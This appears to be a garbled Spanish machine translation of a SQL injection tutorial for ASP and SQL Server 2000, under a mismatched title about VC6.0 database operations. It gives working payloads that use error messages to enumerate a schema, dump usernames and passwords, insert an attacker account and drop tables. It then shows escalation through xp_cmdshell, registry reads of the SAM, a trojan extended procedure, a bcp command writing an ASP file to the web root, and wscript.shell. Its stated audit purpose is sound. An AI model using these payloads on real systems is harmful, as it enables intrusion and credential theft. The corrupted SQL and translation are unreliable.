Cómo utilizar vc6.0 y sql2000 para operaciones de conexión y base de datos (consultar, insertar, actualizar, eliminar), preferiblemente con ejemplos
Este documento está dirigido a desarrolladores de aplicaciones web que se comunican con bases de datos, así como a profesionales de seguridad que desempeñan un papel en la auditoría de aplicaciones web.
Introducción:
SQL es un lenguaje de consulta estructurado para bases de datos relacionales. El lenguaje SQL puede modificar la estructura de la base de datos (lenguaje de definición de datos) y manipular el contenido de la base de datos (lenguaje de manipulación de datos). En este documento, discutiremos específicamente el lenguaje Transact-SQL utilizado por SQLSERVER.
Cuando un atacante es capaz de manipular datos y escribirlos en una aplicación insertando una serie de sentencias SQL en una consulta, definimos este método como inyección SQL.
La instrucción SQL típica es la siguiente:
Seleccione ID, nombre y apellido de los autores.
Esta declaración devolverá la identificación, nombre y apellido de todas las filas. en la lista de la tabla de autores. Este resultado se puede restringir, por ejemplo:
Seleccione ID, nombre, apellido de los autores donde nombre 'john' y apellido='smith'
Se debe enfatizar que la cadena " john" y "smith" son comillas simples. Específicamente, la entrada proporcionada por el usuario está restringida a los campos de nombre y apellido, y un atacante puede inyectar algunas declaraciones SQL en esta consulta ingresando los siguientes valores:
Nombre: jo'hn
Apellido: la declaración de consulta se convierte en:
Seleccione ID, nombre, apellido de los autores donde nombre='jo'hn' y apellido='smith'
Cuando la base de datos intenta ejecutar esto Al realizar la consulta, se devolverá el siguiente error:
Servidor: Msg.170, Nivel 15, Estado 1, Línea 1
Línea 1: Sintaxis incorrecta cerca de 'hn '
p>Este resultado se produce porque se inserta una comilla simple como delimitador. La base de datos intentó ejecutar 'hn' pero falló. Si el atacante proporciona una entrada especial, por ejemplo:
Nombre: jo' soltar autores de la tabla-
Apellido:
El resultado es eliminar la tabla de autores, lo cual haremos más adelante. Las razones de este resultado se discutirán en detalle.
Este problema parece resolverse eliminando las comillas simples en la entrada o evitándolas de alguna manera. Esto funciona, pero existen algunas dificultades con esta solución. En primer lugar, no todos los datos proporcionados por el usuario son una cadena. Si el usuario ingresó una consulta para buscar autores por ID de usuario, nuestra consulta se vería así:
Seleccione ID, nombre y apellido de los autores donde id=1234
Aquí en este En este caso, un atacante puede simplemente agregar una declaración SQL al final del número.
En otras versiones del lenguaje SQL, se utilizan diversos símbolos de calificación; en el sistema de gestión de bases de datos JET Engine, se puede utilizar "#" para calificar los datos. En segundo lugar, aunque puede parecer correcto evitar el uso de comillas simples, en realidad es innecesario por razones que analizaremos más adelante.
Vayamos un paso más allá y usemos una página de inicio de sesión ASP simple para ilustrar quién tiene acceso a la base de datos SQLSERVER e intentemos identificar el acceso a una aplicación ficticia.
Aquí está el código para una página de envío de formulario que permite al usuario ingresar un nombre de usuario y contraseña:
lt;HTMLgt;
lt;HEADgt;
lt;TITLEgt;Página de inicio de sesiónlt;/TITLEgt;
lt;/HEADgt;
lt;/HEADgt; Si el atacante quiere insertar un usuario suyo; propio. Sin conocer la estructura de la tabla de usuarios, es poco probable que tenga éxito. Incluso él tiene suerte porque no se conoce el campo de permisos de usuario. Un atacante podría insertar un "1" para obtener solo un usuario con pocos privilegios.
Afortunadamente, si la aplicación devuelve un mensaje de error (comportamiento ASP predeterminado), entonces el atacante puede determinar la estructura de toda la base de datos y cambiar cualquier valor en el programa que tiene el nivel de permiso para conectarse a SQLSERVER. procesamiento de curvas.
(El siguiente es un ejemplo de cómo funciona usando una base de datos simple y un script ASP)
Primero, el atacante espera obtener el nombre de la tabla y el nombre del campo del usuario creado. Para hacer esto, el atacante necesita usar la cláusula have en la sintaxis select:
Nombre de usuario: ' had 1=1
Esto resultará en el siguiente error:
Error del controlador ODBC de Microsoft para el proveedor OLE DB '80040e14'
[Microsoft][Controlador ODBC para SQL Server][SQL Server]La columna 'users.id' no es válida en la lista de selección porque no incluido en la función agregada y no hay ninguna cláusula GROUP BY.
/process_login.asp, línea 35
Por lo tanto, el atacante ahora conoce el nombre de la tabla y el nombre del primer campo. Aún pueden encontrar los nombres de los campos individualmente colocándolos en una cláusula de grupo por, como esta:
Nombre de usuario: 'grupo por usuarios.id con 1=1-
Error Aquí está qué sucede:
Proveedor Microsoft OLE DB para controladores ODBC error '80040e14'
[Microsoft][Controlador ODBC SQL Server][SQL Server]Columna 'users.username' en The select La lista no es válida porque no está contenida en una función agregada o en una cláusula GROUP BY.
/process_login.asp, línea 35
Finalmente, después de que el atacante obtiene el campo de nombre de usuario:
'grupo por usuarios.id, usuarios.nombre de usuario, usuarios .contraseña, usuarios.privs teniendo 1=1-
Esta declaración no generará error, equivale a:
seleccione * de los usuarios donde nombre de usuario=''
Por lo tanto, el atacante ahora sabe que la consulta involucra la tabla de usuarios y usa las columnas "id, nombre de usuario, contraseña, privs" en ese orden.
Es útil para determinar el tipo de cada columna. Esto se puede lograr mediante la conversión de tipos, por ejemplo:
Nombre de usuario:' unión seleccionar suma (nombre de usuario) de los usuarios-
Esto utilizará SQLSERVER para determinar si los campos en los dos resultados los conjuntos son iguales antes de aplicar la cláusula de suma. Al intentar calcular la suma, aparece el siguiente mensaje:
Error del proveedor OLE DB '80040e07' para el controlador ODBC de Microsoft
[Microsoft][Controlador ODBC SQL Server][SQL Server]suma o las operaciones de agregación promedio no pueden tomar el tipo de datos varchar como parámetro.
/process_login.asp, línea 35
Esto nos dice que el campo "nombre de usuario" es de tipo varchar. En otro caso, intentamos calcular suma() en un tipo numérico y el mensaje de error que recibimos nos dice que la cantidad de campos en las dos colecciones no es igual.
Nombre de usuario: ' union select sum(id) de los usuarios-
Proveedor Microsoft OLE DB para el error del controlador ODBC '80040e14'
[Microsoft][ODBC SQL Controlador de servidor][SQL Server]Todas las consultas que contienen el operador UNION en una declaración SQL deben tener el mismo número de expresiones en su lista de destino.
/process_login.asp, línea 35
Podemos utilizar esta técnica para aproximar el tipo de cualquier campo en cualquier tabla de la base de datos.
De esta manera, un atacante puede escribir una excelente consulta INSERT, por ejemplo:
Nombre de usuario: 'insertar en valores de usuarios(666,'attacker','foobar','0xffff) -
El impacto potencial de esta tecnología va mucho más allá. Un atacante puede utilizar estos mensajes de error para mostrar información del entorno o bases de datos.
Los mensajes de error estándar se pueden obtener ejecutando una cadena con formato especial:
select * from master .sysmessages
La interpretación de estos mensajes arrojará información interesante.
Una información particularmente útil se relaciona con la conversión de tipos. Si intenta convertir una cadena en un número entero, todo lo que contiene la cadena se devolverá como un mensaje de error.
Por ejemplo, en nuestra página de inicio de sesión simple, la versión de SQLSERVER y la información del sistema operativo en el que se está ejecutando se muestran después del nombre de usuario:
Nombre de usuario: ' union select @@version,1,1,1 -
Error del proveedor OLE DB de Microsoft para controladores ODBC '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Error de sintaxis al convertir el valor nvarchar ' Microsoft SQL Server 2000 - 8.00.194 (Intel >
/process_login.asp, línea 35
Esto intentará convertir la constante incorporada '@@version' en un número entero, desde la primera columna en la lista de usuarios la tabla es un número entero.
Esta técnica se puede utilizar para leer cualquier valor de cualquier tabla de la base de datos. Dado que los atacantes están más interesados en los nombres de usuario y las contraseñas de los usuarios, es más probable que lean los nombres de usuario de la tabla de usuarios, por ejemplo:
Nombre de usuario: ' union select min(nombre de usuario), 1, 1, 1 de los usuarios donde nombre de usuariogt;'a' -
Esto seleccionará el valor más pequeño en la tabla de usuarios con un nombre de usuario mayor que 'a' e intentará convertirlo a un número entero:
Microsoft OLE Proveedor de base de datos para el error del controlador ODBC '80040e07'
[Microsoft][Controlador ODBC SQL Server][SQL Server] Error de sintaxis al convertir el valor varchar 'admin' en una columna de tipo de datos int.
/process_login .asp, línea 35
Por lo tanto, el atacante ya conoce la existencia del usuario admin. De esta manera, puede repetir la búsqueda del siguiente usuario utilizando la cláusula dónde y el nombre de usuario consultado.
Nombre de usuario: 'union select min(nombre de usuario),1,1,1 de los usuarios donde nombre de usuario>'admin'-
Error del proveedor OLE DB para el controlador ODBC de Microsoft '80040e07 '
[Microsoft][ODBC SQL Server Driver][SQL Server]Error de sintaxis al convertir el valor varchar 'chris' en una columna de tipo de datos int.
/process_login.asp, línea 35
Una vez que el atacante determina el nombre de usuario, puede comenzar a recopilar contraseñas:
Nombre de usuario: ' union select contraseña, 1, 1, 1 de los usuarios donde nombre de usuario ='admin'- p>
Proveedor Microsoft OLE DB para el error del controlador ODBC '80040e07'
[Microsoft][Controlador ODBC SQL Server][SQL Server] Error de sintaxis, cambiando el valor de varchar 'r00tr0x! 'Convertir a una columna de tipo de datos int.
/process_login.asp, línea 35
Una técnica más avanzada consiste en concatenar todos los nombres de usuario y contraseñas en un solo carácter. Una técnica más avanzada consiste en concatenar todos los nombres de usuario y contraseñas en una cadena y luego intentar convertirla en un número entero. Este ejemplo muestra que la sintaxis Transavt-SQL puede unir filas idénticas sin cambiar su significado. El siguiente script concatenará estos valores:
start declare @ret varchar(8000)
set @ret=':'
select @ret=@ret ' ' nombre de usuario '/' contraseña de los usuarios donde
nombre de usuariogt @ret
seleccione @ret como ret en foo
end
Ataque Utilice este nombre de usuario para iniciar sesión (todo en una línea)
Nombre de usuario: '; comenzar declarar @ret varchar(8000) set @ret=':' select @ret=@ret ' ' nombre de usuario '/ 'contraseña de usuarios donde nombre de usuariogt; @ret selecciona @ret como ret en foo end-
Esto creará una tabla foo con una sola columna "ret" para contener las cadenas de nombre de usuario y contraseña que obtuvimos. Normalmente, los usuarios con pocos privilegios pueden crear tablas en la misma base de datos o crear bases de datos temporales.
Luego, el atacante puede obtener la cadena que queremos:
Nombre de usuario: ' union select ret, 1, 1, 1 from foo-
Proveedor OLE DB error '80040e07' para el controlador ODBC de Microsoft
[Microsoft][Controlador ODBC para SQL Server][SQL Server]Error de sintaxis al cambiar el valor de varchar ':admin/r00tr0x! invitado/invitado chris/contraseña fred/sesamo' se convierte en una columna con tipo de datos int.
/process_login.asp, línea 35
Luego suelte (solte) la tabla para limpiar el espacio ocupado:
Nombre de usuario: 'soltar tabla foo- p>
p>
Este ejemplo sólo roza la superficie de esta técnica. No hace falta decir que si un atacante puede obtener suficientes errores de una base de datos, su trabajo se vuelve infinitamente más fácil.
Obtención de privilegios elevados
Una vez que un atacante ha obtenido el control de una base de datos, es posible que desee utilizar este privilegio para obtener un mayor control sobre la red. Hay varias formas de lograr este objetivo:
1. Utilice el procedimiento almacenado extendido xp_cmdshell para ejecutar comandos en el servidor de base de datos con permisos SQLSERVER.
2. Utilice el procedimiento almacenado extendido xp_regread para leer el valor de la clave de registro, incluido el valor de la clave SAM (siempre que SQLSERVER se esté ejecutando con permisos del sistema)
3. Utilice otros procedimientos almacenados para cambiar el servidor
4. Ejecute la consulta en el servidor conectado
5. Cree un procedimiento almacenado extendido del lado del cliente para ejecutar el código de desbordamiento en el proceso SQLSERVER
6. Utilice la sintaxis "Inserción por lotes" para leer cualquier archivo en el servidor
7. Utilice bcp para crear cualquier archivo de formato de texto en el servidor
8. Utilice sp_OACreate, Procedimientos almacenados del sistema sp_OAMethod y sp_OAGetProperty Crear archivos en el servidor
8. Utilice los procedimientos almacenados del sistema sp_OACreate, sp_OAMethod y sp_OAGetProperty para cambiar el servidor
9. Utilice otros procedimientos almacenados para cambiar el servidor
10. Uso El procedimiento almacenado del sistema OAGetProperty crea una aplicación ActiveX que puede realizar cualquier operación que un script ASP puede realizar
Los anteriores son sólo algunos métodos de ataque muy comunes, y Es probable que los atacantes utilicen otros métodos. Cubriremos una serie de formas obvias de atacar SQL Server para ilustrar lo que es posible y permitir la inyección de SQL. Analizaremos cada uno de los métodos anteriores por separado:
[xp_cmdshell]
Hay muchos procedimientos almacenados creados en SQLSERVER para realizar diversas funciones, como enviar correos electrónicos e interactuar con el registro. .
Xp_cmdshell es un procedimiento almacenado integrado que permite la ejecución de comandos de línea de comando arbitrarios. Por ejemplo:
Exec master..xp_cmdshell 'dir'
obtendrá la lista de directorios en el directorio de trabajo actual del proceso SQLSERVER.
Exec master..xp_cmdshell 'net user'
proporcionará una lista de todos los usuarios en el servidor.
Cuando SQLSERVER se ejecuta normalmente como cuenta de sistema o cuenta de dominio, los atacantes pueden causar daños más graves.
[xp_regread]
Otro procedimiento almacenado incorporado útil es la colección de funciones de clase xp_regXXXX.
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
/p>
Xp_regremovemultistring
', 'nullsessionshares'
Esto determina los tipos de conexiones de sesión disponibles en el servidor
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmpmp\parameters\ validcommunities'
Esto mostrará todas las configuraciones del grupo SNMP en el servidor. Armado con esta información, un atacante puede reconfigurar dispositivos de red en la misma red donde los grupos SNMP rara vez cambian y se disfrutan en muchos hosts.
No es difícil imaginar que un atacante podría utilizar estas capacidades para leer el SAM, modificar la configuración de un servicio del sistema para que se inicie la próxima vez que se reinicie la máquina o ejecutar comandos arbitrarios la próxima vez. cualquier usuario inicia sesión.
[Otros procedimientos almacenados]
El procedimiento almacenado xp_servicecontrol permite a los usuarios iniciar, detener, pausar y reanudar servicios:
exec master ...xp_servicecontrol 'start ', 'programar'
maestro ejecutivo ...xp_servicecontrol 'iniciar', 'programar'
proceso de ejecución. xp_servicecontrol 'start', 'server'
La siguiente tabla enumera algunos otros procedimientos almacenados útiles:
Xp_availablemedia muestra las unidades disponibles en la máquina
Xp_dirtree permite Obtener el árbol de directorios
Xp_enumdsn Lista las fuentes de datos ODBC en el servidor
Xp_loginconfig Revelar información sobre el modo de seguridad del servidor
Xp_ntsec_enumdomains Listas los dominios a los que puede acceder el servidor
SQL SERVER proporciona mecanismos para permitir conexiones al servidor. SQL SERVER proporciona un mecanismo para permitir conexiones de servidor, permitiendo que las consultas en un servidor de base de datos operen con datos en otro servidor. Esta conexión se almacena en la tabla master.sysservers.
Si el servidor conectado está configurado para utilizar el procedimiento almacenado 'sp_addlinkedsrvlogin', las conexiones confiables actuales pueden acceder al servidor sin iniciar sesión. La función openquery "permite la ejecución de una consulta incluso si la consulta se ha desconectado del servidor.
[Procedimiento almacenado extendido personalizado]
La API del procedimiento almacenado extendido es bastante simple, cree un procedimiento almacenado extendido conectado dinámicamente También es una tarea bastante simple cargar una biblioteca de enlaces dinámicos en SQL Server usando la línea de comando, y otros mecanismos de comunicación incluyen varias comunicaciones automatizadas, como descargas HTTP y scripts FTP p> una vez el enlace dinámico. El archivo de biblioteca se ejecuta en una máquina con acceso al servidor SQL (esto no requiere que la máquina en sí sea un servidor SQL), el atacante puede usar el siguiente comando para agregar un procedimiento almacenado extendido (en este caso, nuestro procedimiento almacenado malicioso El proceso es un pequeño troyano que genera archivos del sistema del servidor):
Sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
Siga el método normal para ejecutar este programa extendido Procedimiento de almacenamiento:
exec xp_webserver
Una vez que se ha ejecutado este procedimiento almacenado, se puede eliminar usando:
xp_dropextendedproc 'xp_webserver'
[Importar un archivo de texto a una tabla]
Utilice la sintaxis de "inserción masiva" para importar un archivo de texto a una tabla temporal:
crear tabla foo( line varchar(8000) ) )
Luego realice una operación de inserción masiva para insertar los datos del archivo en la tabla, por ejemplo:
inserción masiva foo desde 'c:\inetpub\wwwroot \process_login. .asp'
Los datos en el archivo de texto se pueden obtener usando la técnica de mensaje de error descrita anteriormente, o se pueden obtener usando la opción "unión", que combina los datos del archivo de texto con los datos. normalmente devuelto por la aplicación Esto es útil para obtener código fuente de script o código de script ASP almacenado en el servidor de base de datos.
[Creación de archivos de texto usando bcp]
El texto arbitrario puede. puede crearse fácilmente utilizando la tecnología relativa de "inserción masiva" Desafortunadamente, esto requiere la herramienta de línea de comando "bcp", "Programa de copia masiva"
Dado que bcp puede acceder a la base de datos desde fuera del proceso de servicio SQL. esto significa que obtener acceso no es muy difícil, ya que un atacante puede establecer o explotar el mecanismo de seguridad general (si el servidor está configurado para usarlo)
El formato de la línea de comando es:
. bcp "select * from text. ..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
El parámetro "S" es el servidor donde se ejecuta la consulta , el parámetro "U" es el nombre de usuario, "P "El parámetro es la contraseña, en este caso "foobar"
[ActiveX Automation Script en SQL SERVER]
SQL SQL SERVER proporciona varios procedimientos almacenados integrados que permiten la creación de scripts de automatización ActiveX.
Estos scripts son los mismos scripts que se ejecutan en Windows Script Interpreter o programas de script ASP, escritos en VBScript o JavaScript, que crean e interactúan con objetos de automatización. Los scripts automatizados escritos con este enfoque pueden hacer cualquier cosa que un script ASP o WSH pueda hacer en Transact-SQL. Para ilustrar este zapato, aquí hay algunos ejemplos:
(1) Este ejemplo crea una instancia del Bloc de notas usando el objeto "wscript.shell":
Ejemplo de wscript.shell
declarar @o int
exec sp_oacreate 'wscript.shell', @o out